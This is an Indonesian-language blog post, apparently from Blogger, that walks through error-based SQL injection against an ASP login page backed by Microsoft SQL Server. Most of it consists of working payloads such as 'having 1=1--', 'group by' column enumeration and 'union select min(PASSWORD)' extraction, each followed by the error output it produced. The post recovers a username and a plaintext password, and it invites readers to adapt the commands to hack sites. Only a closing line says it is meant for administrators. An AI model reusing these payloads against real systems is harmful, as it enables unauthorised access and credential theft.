Teknik SQL Injection

Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.

Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql. Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp

Penulis mencoba mengetahui table dan field apa yang digunakan sebagai database untuk
menyimpan data user dan password , penulis memanpaatkan pesan kesalahan yang terjadi
setelah mengetik perintah ' having 1=1— pada user id dan password terserah dan
muncul error sebagai berikut :

-----------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/admin/login.asp, line 7
---------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_USER
Catat nama field : NOMOR
Dari informasi diatas kita sudah mendapatkan nama tablenya yaitu T_USER dan field
pertamanya NOMOR , selanjutnya mencari field kedua dan seterusnya dengan
mengetikan perintah ' group by T_USER.NOMOR having 1=1— dan keluar error
sebagai berikut

------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.USERNAME' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/admin/login.asp, line 7
-----------------------


Artinya itulah nama tabel dan field kedua kita.
Catat : T_USER.USERNAME
Kemudian kita cari field ke tiga :
' group by T_USER.NOMOR,T_USER.USERNAME having 1=1-- dan keluar pesan error:

------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_USER.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/admin/login.asp, line 7
-----------------------


Catat field ke tiga : T_USER.PASSWORD.
Dan lakukan mencari informasi field dield yang ada sampai field yang terakhir , penulis
mendapatkan field field seperti dibawah ini
- T_USER.NOMOR
- T_USER.USERNAME
- T_USER.PASSWORD
- T_USER.STATUS
- T_USER.AUTHORITY
Selajutnya penulis mencari username dan password yang sah untuk masuk tanpa
menggunakan perintah SQL , perintahnya sebagai berikut
' union select min(USERNAME),1,1,1,1 from T_USER where USERNAME > 'a'—
artinya kita memilih minimum nama user yang lebih besar dari 'a' dan mencoba mengkonvert-
nya ke tipe integer , Arti angka 1 sebanyak 4 kali itu adalah bahwa kita hanya
memilih kolom USERNAME, dan mengabaikan 4 kolom yang lain. dan keluar pesan
error :

---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'kristian' to
a column of data type int.
/admin/login.asp, line 7
----------------------------------


lihat :
varchar value 'kristian '
'kristian' itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom
username di record yang terakhir dimasukkan, Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1 from T_USER where USERNAME =
'kristian'--
catatan : harus sebaris (tidak dipotong) dan keluar error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'passport' to a
column of data type int.
/admin/login.asp, line
----------------------------------


Artinya kita berhasil !!! ,Kita dapatkan
- USERNAME = kristian
- PASSWORD = passport
Selanjutnya , kita bisa berselancar dengan menggunakan modifikasi perintah perintah
SQL ,silahkan para pembaca untuk mengembangkan / memodifikasi sendiri sampai
pembaca bisa meng-hack suatu situs dengan hanya mengetikan perintahnya di address
bar di browser kita dan itu sangat memungkinkan dan memainkan service pada komputer
dimana SQL Server berada.

Artikel ini ditujukan bagi admin bagaimana proses pencurian password terjadi,
Untuk itu, disaran kan agar lebih berhati-hati dan sering mengupdate agar tidak terjadi hal2 tsb.





Category Article

What's on Your Mind...

Diberdayakan oleh Blogger.